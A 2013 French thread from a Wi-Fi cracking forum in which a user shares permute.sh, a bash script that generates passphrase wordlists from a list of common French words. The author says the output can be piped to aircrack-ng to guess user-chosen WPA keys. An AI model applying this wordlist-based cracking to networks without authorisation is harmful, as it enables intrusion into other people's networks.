Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 26-01-2013 15:06:00

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

[ BASH SCRIPT ] Brute-force intelligent

@Yannou90:

VEUILLEZ SUIVRE LES LIENS CI DESSOUS POUR ACCEDER DIRECTEMENT AUX DERNIERES MODIFICATIONS ET AVANCEES DU SCRIPT MERCI

Edit_1 : Grosse MAJ : choix du poid de sortie du fichier , limitation par defut du poid de sortie à 50% de l'espace libre (çà evite les problemes) , affichage de statistique ...
Edit_2 : version 0.3.4 du 29/01/2013 : grosse réécriture , corrections de bugs et coquilles , support de la compression ( lecture et écriture à la volée ) , ajout de divers test , optimisation , ...
Edit_3 : version 0.4.1 : corrections de bugs , optimisations , ultra compression ...
Edit_4 : version 4.0.2 du 03.02.2013 : correction de bugs , support du choix du séparateur de mot

Bonjours à tous !

Je vous présente mon script , suite à de nombreuses interrogations sur l'utilité du brute-force et le fait d'utiliser des dictionnaires de X Gio , dictionnaires ne représentant qu'une infime partie des possibiltées .

Le constat :

- pour du wpa : si le mot de passe est celui initialiser par la box , or TKIP , donc non modifié par l'utilisateur , quelques milliers d'années sont nécessaires pour le découvrir OU un méchant coup de pousse du déstin est nécessaire
- pour tout mot de passe créé par l'utilisateur : il ne se cassera pas la tête et créera un mot de passe  simple , basé sur sa langue et sa propre utilisation de celle ci , et correspondant à la demande éxigé par sa box : de 8 à 63 caracteres (ex:motdepasse)

Bref , le brute force est mort dans l'oeuf sauf si il s'applique à un utilisateur lambda , celui ci recherchant la simplicitée , lui permettant la mémorisation de celui-ci .

J'ai donc créé un script permettant :

- de démontrer l'inutilité du force brute
- de démontrer que seul l'utilisateur est la faiblesse du system

Pour ce faire :

- armez vous d'un vrais dictionnaire , c'est à dire un dictionnaire de mot correspondant à la langue de la cible
- ce dictionnaire ne doit comporter que les mots les plus utilisés dans cette langue (quelques kio)
- un cerveau , nécessaire pour la recherche du mot de passe

Passons à la bête :

- création d'un dictionnaire de passphrases en fonction des besoins de l'utilisateur
- choix de la taille minimal des mots composants la phrase
- choix de la taille maximal des mots composants la phrase
- choix du nombre de mots composants la phrase
- mode verbeux permettant de capturer en live la création des passphrases pour les "piper" à un autre programme (ex:aircrack-ng) , avec ce choix toutes les combinaisons de phrases de 1 à N (choisi par l'utilisateur) , sont affichées
- mode quick , rien n'est imprimé sur stdout , extremement rapide ( limité par la vitesse d'ecriture su systeme hote) , tout est stocké dans le fichier choisi par l'utilisateur
- affichage du nombre de phrases créés
- affichage du poid du fichier généré
- interraction avec l'utilisateur : oui je souhaite explosé mon disque dur , non je reprend mes réglages

Limitaions :

- espace libre du disque dur
- aucune répétition d'un même mot par phrases

La bête :

#!/bin/bash

#Mainteneur : Yannou90
#
#Logiciel : permute.sh
#
#Dépendances : bash , sed
#
#Date : 26.01.2013
#
#Description : créer des passphrases de longueurs définis par l'utilisateur en fonction d'un dictionnaire
#
#Ce programme est libre, vous pouvez le redistribuer et/ou le modifier selon les termes
#de la Licence Publique Générale GNU publiée par la Free Software Foundation
#(version 2 ou bien toute autre version ultérieure choisie par vous).
#
#Ce programme est distribué car potentiellement utile, mais SANS AUCUNE GARANTIE,
#ni explicite ni implicite, y compris les garanties de commercialisation ou d'adaptation
# dans un but spécifique. Reportez-vous à la Licence Publique Générale GNU pour plus
#de détails.
#
#Vous devez avoir reçu une copie de la Licence Publique Générale GNU en même temps
#que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, États-Unis.
#
# Script : permute.sh par Yannou90
# Utilisation : /chemin/vers/permute.sh <NBR de mot> <NBR de charactere minimum par mot> <NBR de charactere maximum par mot> /chemin/vers/dico.txt

######################
## On cree les variables de bases ##
######################

OPT_PASS=$1
SEQ="3"
LONGMIN="1"
LONGMAX="4"
NUM="1"
DICO="$(date +%s).txt"
NEW="working.txt"
TMP="tmp.txt"
NBR="1"
FACT="1"
CONV=""
VITESSE="0"

#############
## Le menu d'aide ##
#############

function HELP()
{
	echo -e "\
	
	${0##*/} permet la génération de phrases à partir d'un dictionnaire .
	
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 30 mots vous pouvez créer des phrases de 2 à 30 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
	
	Utilisation :
	
	${0##*/} -[m:M:w:i:o:q:] <ARGUMENT>
	
	${0##*/} -q <QUICK_SETTING> -m <MIN_LEIGHT_WORD> -M <MAX_LEIGHT_WORD> -w <NBR_WORD> -i <WORDLIST> -o <FILE>
	${0##*/} -i <WORDLIST> -o <FILE>
	${0##*/} -h
	
	
	-m <MIN_LEIGHT_WORD>
		Longueur minimal du mot du dictionnaire (MIN_LEIGHT_WORD=1 par défaut)
	-M <MAX_LEIGHT_WORD>
		Longueur maximal du mot du dictionnaire (MAX_LEIGHT_WORD=4 par défaut)
	-w <NBR_WORD>
		Nombre de mots composant la phrase (NBR_WORD=3 par défaut)
	-i <WORDLIST>
		Chemin vers le dictionnaire 
	-o <FILE>
		Fichier de sortie (FILE=\"\$(date +%s).txt\") du type 1234567890.txt par défaut , dans le dossier du dictionnaire)		
	-q <QUICK_SETTING>
		Mode de sortie : 0 = très rapide mais pas de sortie sur stdout ; 1 = lent mais toutes les combinaisons de 2 à <NBR_WORD> ( option -w <NBR_WORD> ) sont affichées (QUICK_SETTING=0 par défaut)
	-h
		Affiche ce message
		
		
		
		Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .
		
		Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
		
		$0 -m 2 -M 8 -w 5 -i dico.txt
		
		On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio
		
		C'est à dire :
		
		1) Nombre de phrases :
		
		(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
		
		2) Poid du fichier final :
		
		(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final
		
		Equivalent à :
		
		(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
		
		
		
		Exemple d'utilisation :
		
		Créer des phrases de 5 mots dans  sortie.txt basé sur les mots de 2 à 8 caractères de dico.txt :
		
		$0 -m 2 -M 8 -w 5 -i dico.txt -o sortie.txt
		
		Créer des phrases de 3 mots dans  sortie.txt basé sur les mots inférieur à 4 caractères de dico.txt :
		
		$0  -M 4 -w 3 -i dico.txt -o sortie.txt
		
		Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt :
		
		$0  -i dico.txt "
}

################
# Pas de sortie standard #
################

function PERMQUICK()
{
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
	done < "$DICO" > "$TMP"
}

############
# Sortie standard #
############

function PERMTEE()
{
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
		fi
	done < "$DICO" | tee -a "$TMP"
}

###########
# Mode QUICK #
###########

function PERMUTE()
{
	while [[ ! "$NUM" = "$SEQ" ]]
	do
		if [[ "$1" = "0" ]]
		then
			PERMQUICK
		else
			PERMTEE
		fi
		mv -f  "$TMP"  "$NEW"
		(( NUM++ ))
	done
	
	mv -f "$NEW" "$DICO"
}

################
## On parse les options ##
################

while getopts ":m:M:w:i:o:q:h" OPT_PASS
do
	case "$OPT_PASS" in
	m)
		LONGMIN="$OPTARG";;
	M)
		LONGMAX="$OPTARG";;
	w)
		SEQ="$OPTARG";;
	i)
		FILE="$OPTARG"
		DIR="${FILE%/*}";;
	o)
		DICO="$OPTARG";;
	q)
		VITESSE="$OPTARG";;
	h)
		HELP
		exit 0;;
	*)
		HELP
		exit 1;;
	esac
done

#################################
## On vérifie qu'un dicionnaire est donné en argument ##
#################################

if [[ ! -e "$FILE" ]]
then
	HELP
fi

#######################################
## On se place dans le dossier contenant le dictionnaire de base ##
#######################################

cd "$DIR"

#####################################
## On trie le dictionnaire en fonction de la longeur des mots ##
#####################################

LONGMAX="$(( LONGMAX +1 ))"
sed   "/^.\{$LONGMIN\}/!d; /^.\{$LONGMAX\}/d" "$FILE" | sort -u > "$DICO"

##################################
## On reccupere le nombre de mots du dictionnaire trié ##
##################################

LIGNE="$(wc -l "$DICO" | cut -d' ' -f1)"
MULTIPLI="$LIGNE"

#############################################################
## Si le nombre de mots par phrases à créer est supérieur au nombre de mot du dictionnaire , on quitte ##
#############################################################

if [[ "$LIGNE" -lt "$SEQ" ]]
then
	echo "Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire :
	Nombre de lignes du dictionnaire : $LIGNE
	Nombre de mots par phrase :$SEQ "
	exit 1
fi

##########################################################################
## (nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases ##
##########################################################################

while [[ "$NBR" != "$SEQ" ]]
do
	(( NBR ++ ))
	MULTIPLI="$(( MULTIPLI - 1 ))"
	FACT="$(( FACT*MULTIPLI ))"
done

################################################################################
## (nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final ##
################################################################################

PHRASE="$(( LIGNE*FACT ))"
POID="$(stat -c %s "$DICO")"
TOTAL="$(( POID*FACT*SEQ ))"

##################################################
## On invite l'utilisateur à choisir si oui ou non il souhaite exploser son disque dur :) ##
##################################################

echo "\
Nombre de phrase générées : $PHRASE
Poid du fichier de sortie : $TOTAL octets"

##########################
## Conversion octets -> kio -> Mio -> Gio ##
##########################

if [[ "$TOTAL" -gt "1024" ]]
then
	KCONV="$(( TOTAL/1024 ))"
	KEXT="kio"
	echo "Soit $KCONV $KEXT"
fi
if [[ "$TOTAL" -gt "1048576" ]]
then
	MCONV="$(( TOTAL/1048576 ))"
	MEXT="Mio"
	echo "Soit $MCONV $MEXT"
fi
if [[ "$TOTAL" -gt "1073741824" ]]
then
	GCONV="$(( TOTAL/1073741824 ))"
	GEXT="Gio"
	echo "Soit $GCONV $GEXT"
fi

echo "Souhaitez vous poursuivre ?[y/n]"
read REPONSE

##############
## On lance la bête ##
##############

case "$REPONSE" in
	y) 
	cp "$DICO" "$NEW"
		PERMUTE "$VITESSE";;
	n)
		echo "On quitte"
		rm "$DICO"
		exit 0;;
	*)
		echo "Choix invalide , on quitte ."
		rm "$DICO"
		exit 1;;
esac
		
exit 0

Le lien original pour les maj et autre :
forum_ubuntu.fr

Voilà , en éspérant vous être utile !

Je suis ouvert à toutes propositions d'améliorations , participations , explications , à plus !

Dernière modification par Yannou90 (03-02-2013 13:35:59)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 26-01-2013 15:19:22

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

J'allais oublier :

permute.sh -h
	
	permute.sh permet la génération de phrases à partir d'un dictionnaire .
	
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 30 mots vous pouvez créer des phrases de 2 à 30 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
	
	Utilisation :
	
	permute.sh -[m:M:w:i:o:q:] <ARGUMENT>
	
	permute.sh -q <QUICK_SETTING> -m <MIN_LEIGHT_WORD> -M <MAX_LEIGHT_WORD> -w <NBR_WORD> -i <WORDLIST> -o <FILE>
	permute.sh -i <WORDLIST> -o <FILE>
	permute.sh -h
	
	
	-m <MIN_LEIGHT_WORD>
		Longueur minimal du mot du dictionnaire (MIN_LEIGHT_WORD=1 par défaut)
	-M <MAX_LEIGHT_WORD>
		Longueur maximal du mot du dictionnaire (MAX_LEIGHT_WORD=4 par défaut)
	-w <NBR_WORD>
		Nombre de mots composant la phrase (NBR_WORD=3 par défaut)
	-i <WORDLIST>
		Chemin vers le dictionnaire 
	-o <FILE>
		Fichier de sortie (FILE="$(date +%s).txt") du type 1234567890.txt par défaut , dans le dossier du dictionnaire)		
	-q <QUICK_SETTING>
		Mode de sortie : 0 = très rapide mais pas de sortie sur stdout ; 1 = lent mais toutes les combinaisons de 2 à <NBR_WORD> ( option -w <NBR_WORD> ) sont affichées (QUICK_SETTING=0 par défaut)
	-h
		Affiche ce message
		
		
		
		Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .
		
		Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
		
		/media/Perso/Bureau/permute.sh -m 2 -M 8 -w 5 -i dico.txt
		
		On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio
		
		C'est à dire :
		
		1) Nombre de phrases :
		
		(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
		
		2) Poid du fichier final :
		
		(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final
		
		Equivalent à :
		
		(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
		
		
		
		Exemple d'utilisation :
		
		Créer des phrases de 5 mots dans  sortie.txt basé sur les mots de 2 à 8 caractères de dico.txt :
		
		/media/Perso/Bureau/permute.sh -m 2 -M 8 -w 5 -i dico.txt -o sortie.txt
		
		Créer des phrases de 3 mots dans  sortie.txt basé sur les mots inférieur à 4 caractères de dico.txt :
		
		/media/Perso/Bureau/permute.sh  -M 4 -w 3 -i dico.txt -o sortie.txt
		
		Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt :
		
		/media/Perso/Bureau/permute.sh  -i dico.txt 

Dernière modification par Yannou90 (26-01-2013 16:43:45)

Hors Ligne

#3 26-01-2013 16:47:21

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

Encore oublié , désolé , un fichier contenant les 1355 mots les plus fréquement utilisé dans la langue française :

à
ça
abandonner
abattre
abri
absence
absolu
absolument
accent
accepter
accompagner
accomplir
accord
accorder
accrocher
accuser
acheter
achever
acte
action
admettre
adresser
affaire
affirmer
afin
agent
agir
agiter
ah
aide
aider
aile
ailleurs
aimer
ainsi
air
ajouter
aller
allumer
alors
amener
ami
amour
amuser
an
ancien
anglais
angoisse
animal
animer
année
annoncer
apercevoir
apparaître
apparence
appartement
appartenir
appel
appeler
apporter
apprendre
approcher
appuyer
après
arbre
argent
arme
armer
arracher
arrière
arrivée
arriver
arrêter
art
article
as
aspect
asseoir
assez
assister
assurer
attacher
attaquer
atteindre
attendre
attention
attirer
attitude
au
aucun
aujourd'hui
auprès
auquel
aussi
aussitôt
autant
auteur
autorité
autour
autre
autrefois
autrement
avance
avancer
avant
avec
avenir
aventure
avis
avoir
avouer
baisser
banc
bande
barbe
bas
bataille
battre
beau
beaucoup
beauté
beaux
besoin
bien
bientôt
billet
blanc
bleu
blond
boire
bois
bon
bonheur
bord
bouche
bout
branche
bras
briller
briser
brûler
bruit
brusquement
bête
bureau
but
cabinet
cacher
calme
calmer
camarade
campagne
capable
car
caractère
caresser
carte
écarter
cas
casser
cause
causer
céder
ce
ceci
cela
celui
cent
centre
cependant
cercle
certain
certainement
certes
cerveau
cesse
cesser
chacun
chair
chaise
chaleur
chambre
champ
chance
chaîne
changement
changer
chant
chanter
échapper
chaque
charge
charger
chasse
chasser
chat
chaud
chef
chemin
chemise
cher
chercher
cheval
cheveu
chez
chien
chiffre
choisir
choix
chose
chute
ci
ciel
cinq
cinquante
circonstance
clair
claire
éclairer
classe
éclat
éclater
clef
coeur
coin
école
colline
colon
colère
combat
combien
commander
comme
commencement
commencer
comment
commun
compagnie
compagnon
complet
complètement
composer
comprendre
compte
compter
conclure
condamner
condition
conduire
confiance
confier
confondre
connaissance
connaître
conscience
conseil
consentir
considérer
construire
consulter
contenir
content
contenter
continuer
contraire
contre
convenir
conversation
corde
corps
coûter
cou
couche
coucher
couler
couleur
coup
couper
cour
courage
courant
courir
cours
course
court
écouter
couvrir
craindre
crainte
écraser
créer
creuser
cri
crier
écrire
crise
croire
croiser
croix
cruel
côté
côte
cuisine
curieux
curiosité
d'abord
dame
danger
dangereux
dans
danser
d'autres
davantage
début
déchirer
décider
déclarer
découvrir
décrire
de
debout
dehors
delà
demain
demande
demander
demeurer
demi
dent
depuis
dernier
derrière
descendre
dessiner
dessus
deux
devant
devenir
deviner
devoir
défaut
défendre
dégager
dieu
difficile
différent
digne
dimanche
dire
direction
diriger
discours
discussion
discuter
disparaître
disposer
distance
distinguer
divers
dix
déjà
docteur
doigt
dominer
donc
donner
dont
dormir
dos
double
doucement
douceur
douleur
doute
douter
doux
douze
départ
dépasser
déposer
drame
dresser
drôle
droit
droite
dès
désert
désespoir
désigner
désir
désirer
désormais
détacher
détail
détruire
du
dur
durant
durer
eau
eaux
effacer
effet
effort
eh
elle
embrasser
emmener
empêcher
empire
employer
emporter
en
encore
endormir
endroit
enfance
enfant
enfermer
enfin
enfoncer
engager
enlever
ennemi
ensemble
ensuite
entendre
entier
entourer
entraîner
entre
entrer
entretenir
envelopper
envie
environ
envoyer
erreur
escalier
espace
espèce
espoir
espérer
esprit
essayer
essuyer
est
et
etc
examiner
exécuter
exemple
exiger
existence
exister
expliquer
exposer
expression
expérience
exprimer
extraordinaire
face
facile
faible
faim
faire
fait
falloir
famille
façon
fatigue
fatiguer
faute
fauteuil
faux
faveur
femme
fenêtre
fer
ferme
fermer
feu
feuille
fidèle
fier
figure
figurer
fil
fille
fils
fin
fine
finir
fixe
fixer
flamme
fleur
flot
foi
fois
folie
fonction
fond
fonder
force
forcer
forme
former
forêt
fortune
fou
foule
frais
français
franc
franchir
françois
frapper
froid
front
frère
fruit
fête
fuir
fumée
fumer
fusil
âgé
gagner
égal
également
garde
garder
garçon
gauche
âge
genou
genre
gens
geste
glace
glisser
gloire
général
goût
goutte
gouvernement
grain
grand
grandir
grave
grâce
gris
gros
groupe
guerre
guère
habiller
habitant
habiter
habitude
haine
haïr
hasard
haut
haute
hauteur
herbe
heure
heureux
hier
histoire
hiver
homme
honneur
honte
horizon
hors
hésiter
hôtel
huit
humain
humide
ici
idée
ignorer
il
image
imaginer
immense
immobile
importance
important
importer
imposer
impossible
impression
inconnu
indiquer
inquiéter
inquiétude
inspirer
installer
instant
instinct
intelligence
intention
interroger
interrompre
intéresser
intérieur
intérêt
inutile
inventer
inviter
jamais
jambe
jardin
jaune
je
jeter
jeu
jeune
jeunesse
joie
joindre
joli
joue
jouer
jour
journal
journée
juge
juger
jusque
juste
justice
là
large
larme
île
lendemain
lentement
lequel
lettre
leur
élever
léger
liberté
libre
lien
lier
lieu
ligne
lire
lisser
lit
livre
livrer
élément
loi
éloigner
loin
long
longtemps
lors
lorsque
loup
lourd
lueur
lui
lumière
l'un
lune
l'une
lutte
lutter
lèvre
machine
madame
magnifique
main
maintenant
maintenir
mais
maison
mal
malade
maladie
malgré
malheur
manger
manier
manquer
marché
marchand
marche
marcher
mari
mariage
marier
marquer
masse
matin
matière
maître
mauvais
médecin
âme
meilleur
membre
menacer
mener
mensonge
mentir
mer
mesure
mettre
midi
mien
mieux
milieu
militaire
mille
million
mince
mine
ministre
minute
miser
mêler
même
mémoire
mode
moi
moindre
moins
mois
moitié
moment
mon
monde
monsieur
montagne
monter
montrer
morceau
mort
mot
émotion
mourir
mouvement
moyen
mériter
métier
muet
mur
musique
naissance
nation
naître
nature
naturel
naturellement
nécessaire
ne
énergie
nerveux
neuf
nez
ni
noir
noire
nom
nombre
nombreux
nommer
non
nord
énorme
note
notre
nourrir
nous
nouveau
nu
nuage
nuit
nul
où
obéir
objet
obliger
observer
obtenir
occasion
occuper
odeur
oeil
oeuvre
officier
offrir
oh
oiseau
ombre
on
oncle
or
ordre
oreille
oser
ou
oublier
oui
ouvert
ouvrage
ouvrir
page
pain
épais
paix
palais
papa
papier
paquet
par
paraître
parce
parcourir
pareil
parent
parfaitement
parfois
parler
parmi
parole
part
partager
parti
particulier
partie
partir
partout
parvenir
pas
passé
passage
passer
passion
patron
épaule
paupière
pauvre
payer
pays
paysage
paysan
peau
peine
pencher
pendant
pendre
pensée
penser
perdre
perdu
permettre
personnage
personne
perte
peser
petit
peu
peuple
peur
phrase
pièce
pied
pierre
pitié
place
placer
plaindre
plaine
plaire
plaisir
plan
planche
plante
plein
pleurer
plonger
pluie
plus
plusieurs
plutôt
pénétrer
poche
poids
point
pointe
poitrine
police
politique
pont
époque
port
porte
porter
portier
poser
poésie
position
posséder
possible
poste
poète
pour
pourquoi
poursuivre
pourtant
pousser
poussière
pouvoir
précéder
précieux
précipiter
précis
père
premier
prendre
presque
presser
preuve
préférer
prier
prince
principe
printemps
prière
prison
prix
problème
prochain
produire
professeur
profiter
profond
profondément
projet
promener
promettre
prononcer
propos
proposer
propre
protéger
éprouver
préparer
près
présence
présent
présenter
président
prêt
prétendre
prêter
prévenir
prévoir
public
puis
puisque
puissance
puissant
pur
qualité
quand
quant
quarante
quart
quartier
quatre
que
quel
quelque
quelqu'un
question
queue
qui
quinze
quitter
quoi
race
raconter
raison
réalité
ramasser
ramener
rang
rapide
rapidement
rappeler
rapport
rapporter
rare
rassurer
rayon
réclamer
réduire
recevoir
recherche
recommencer
reconnaître
recueillir
reculer
refuser
regard
regarder
regretter
rejeter
rejoindre
réel
relation
relever
religion
remarquer
remercier
remettre
remonter
remplacer
remplir
rencontre
rencontrer
rendre
renoncer
rentrer
renverser
repas
reposer
repousser
reprendre
représenter
respect
respecter
respirer
ressembler
reste
rester
retenir
retirer
retomber
retour
retourner
retrouver
revenir
revoir
réfléchir
réflexion
règle
riche
rideau
rien
rire
risquer
rôle
robe
roche
rocher
roi
roman
rompre
rond
rose
rouge
rouler
route
répandre
répondre
réponse
répéter
réserver
résistance
résister
résoudre
résultat
rue
ruine
réunir
réussir
rêve
réveiller
rêver
révéler
révolution
sable
sac
saint
saisir
saison
salle
saluer
salut
sang
sans
santé
satisfaire
sauter
sauvage
sauver
savoir
science
scène
se
sec
second
seconde
secours
secret
secrétaire
seigneur
sein
selon
semaine
semblable
sembler
sens
sentier
sentiment
sentir
sept
serrer
service
servir
seuil
seul
seulement
si
siècle
sien
siège
signe
signer
signifier
silence
silencieux
simple
simplement
situation
six
social
société
soi
soin
soir
soirée
soit
sol
soldat
soleil
solitude
sombre
somme
sommeil
sommet
son
songer
sonner
sorte
sortir
sou
soudain
souffler
souffrance
souffrir
souhaiter
soulever
soumettre
source
sourd
sourire
sous
soutenir
souvenir
souvent
séparer
spectacle
sûr
sérieux
subir
succès
sueur
suffire
suite
suivant
suivre
sujet
supporter
supposer
supérieur
sur
surprendre
surtout
surveiller
système
été
table
établir
tache
étage
taille
taire
étaler
tandis
tant
tantôt
tapis
tard
état
tâche
te
éteindre
tel
tellement
temps
tempête
étendre
étendue
tenir
tenter
terme
terminer
éternel
terrain
terre
terreur
terrible
théâtre
tirer
titre
témoin
toi
étoile
toit
tombe
tomber
ton
étonner
toucher
étouffer
toujours
tour
tourner
tout
toute
trace
tracer
train
trait
traiter
traîner
étrange
étranger
tranquille
transformer
travail
travailler
travers
traverser
être
trembler
trente
triste
trois
troisième
étroit
tromper
trop
trou
troubler
trouver
très
trésor
tôt
tête
tu
étude
étudier
tuer
type
un
unique
usage
user
vague
vaincre
valeur
valoir
vaste
veille
veiller
vendre
venir
vent
ventre
verre
vers
verser
vert
victime
vide
vie
vieil
vieillard
vieux
vif
village
ville
vin
vingt
violence
violent
visage
visible
vision
visite
vite
éviter
vivant
vivre
événement
voici
voie
voilà
voile
voir
voisin
voiture
voix
vol
voler
volonté
votre
vouloir
vous
voyage
voyager
vrai
vraiment
vérité
véritable
vêtement
vêtir
vue
y
yeux

Une trés bonne base pour tester mon script

Hors Ligne

#4 26-01-2013 22:46:38

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : [ BASH SCRIPT ] Brute-force intelligent

Merci l'ami smile

Hors Ligne

#5 28-01-2013 13:25:07

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

Grosse MAJ :

Une bonne partie du code est réécrite :

-modification des options de base
-l'utilisateur peut maintenant limiter le poids de sortie du fichier
-si le poid de sortie supposé est supérieur à la capacitée du disque alors la moitiée "seulement" roll de l'espace libre est utilisé
-ajout de l'option -y supprimant l'interraction avec l'utilisateur
-choix du dossier de sortie
-affichage de statistique sur l'utilisation du script , les prévisions et le fichier de sortie
-passage du mode franglais à francais (@nicolas66 wink )

Enfin voilà quoi , bon je suis toujours désespérement seul mais je continu !!

Le manuel :

	
	permute.sh permet la génération de phrases à partir d'un dictionnaire .
	
	Ce projet à pour but de démontrer l'inutilité du force-brute pur .
	
	Dans le cas du force-brute pur toutes les combinaisons d'une clée supposée sont créé pour retrouver la clée d'origine . Malheureusement , ou plutôt heureusement , pour des clées de type hexadecimal , wpa , ou contenant des caractéres minuscule , majuscule , chiffre et spéciaux , une ETERNITEE serait nécessaire pour découvrir la clée .	
	permute.sh se veut être "intelligent" , car basé sur la méconnaissance des usagers . Il utilise un dictionnaire de mot correspondant à une langue et permet la construction de phrases .	
	Cette méthode réduit considérablement le nombre de clée possible : un usager lambda créera des clées mémorisable , souvent basée sur une association de mots et non sur la sécuritée ; exemple : "Paul et Virginie" , "motdepasse" , .etc ..
	
	Utilisation :
	
	permute.sh -[!:L:w:i:o:p:d:M:G:T] <ARGUMENT> -v -h -F -y
	
	permute.sh  -l <LONG_MIN> -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -o <NOM> -d <DIR> -G 10 -F
	permute.sh -v -L <LONG_MAX> -w <NBR_MOTS> -i <DICO> -M 5
	permute.sh -i <DICO> -o <NOM> 
	permute.sh -h
		
	-l <LONG_MIN>
		Longueur minimal du mot du dictionnaire (LONG_MIN=1 par défaut) .
	-L <LONG_MAX>
		Longueur maximal du mot du dictionnaire (LONG_MAX=4 par défaut) .
	-w <NBR_MOTS>
		Nombre de mots composant la phrase (NBR_MOTS=3 par défaut) .
	-i <DICO>
		Chemin vers le dictionnaire 
	-o <NOM>
		Fichier de sortie (NOM="$(date +%s).txt") du type 1234567890.txt par défaut , dans le dossier du dictionnaire) .
	-v
		Mode verbeux , plus lent , toutes les combinaisons de 2 à <NBR_MOTS> sont affichées .
	-F 
		Toutes les combinaisons sont conservées , plus d'espace libre nécessaire .
	-d <DIR>
		Dossier de sortie , par défaut celui contenant le dictionnaire .
	-M <POID>
		Limite le fichier de sortie à <POID> Mio , <POID> étant une valeur numérique sans extension , exemple: -M 10 , limitera à 10Mio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-G <POID>
		Limite le fichier de sortie à <POID> Gio , <POID> étant une valeur numérique sans extension , exemple : -G 10 , limitera à 10Gio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-T <POID>
		Limite le fichier de sortie à <POID> Tio , <POID> étant une valeur numérique sans extension , exemple : -T 10 , limitera à 10Tio . Par défaut une limite arbitraire est fixée à 50% de l'espace disponible .
	-y
		Pas de confirmation , pas d'interraction avec l'utilisateur .
	-h
		Affiche ce message		
		
	Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots unique composants le dictionnaire .
	Par exemple pour un dictionnaire composé de 10 mots vous pouvez créer des phrases de 2 à 10 mots .
	Toutes les compositions seront créées sans répétition d'un même mot par phrases .
		
	Attention aux nombres de mots composant le dictionnaire et au choix du nombre de mots par phrase .	
	Exemple , sur un fichier texte composé de 16 mots de 2 à 8 caratères par mots pour un poid de 70 octets , pour composer des phrases de 5 mots :
	
	/media/Perso/Bureau/permute.sh -l 2 -L 8 -w 5 -i dico.txt
	
	On obtient 16x15x14x13x12 mots = 524160 phrases pour un fichier en sortie de 5x70x15x14x13x12 octets = 11466000 octets = 11197 kio = 10.9 Mio	
	C'est à dire :
	
	1) Nombre de phrases :	
	(nombre de lignes) ! / (nombre de ligne - nombre de mots) ! = nombre de phrases sans répétition d'un même mot par phrases
	
	2) Poid du fichier final :	
	(nombre de mots) x (poid en octets) x (nombre de lignes) ! / ( (nombre de lignes - nombre de mots) ! x (nombre de lignes) ) = poid final	
	Equivalent à :	
	(nombre de mots) x (poid en octets) x (nombre de lignes - 1 ) ! / (nombre de lignes - nombre de mots) ! = poid final en octets / 1024 = poid final en kio / 1024 = poid final en Mio / 1024 = poid final en Gio
	
	Exemple d'utilisation :
	
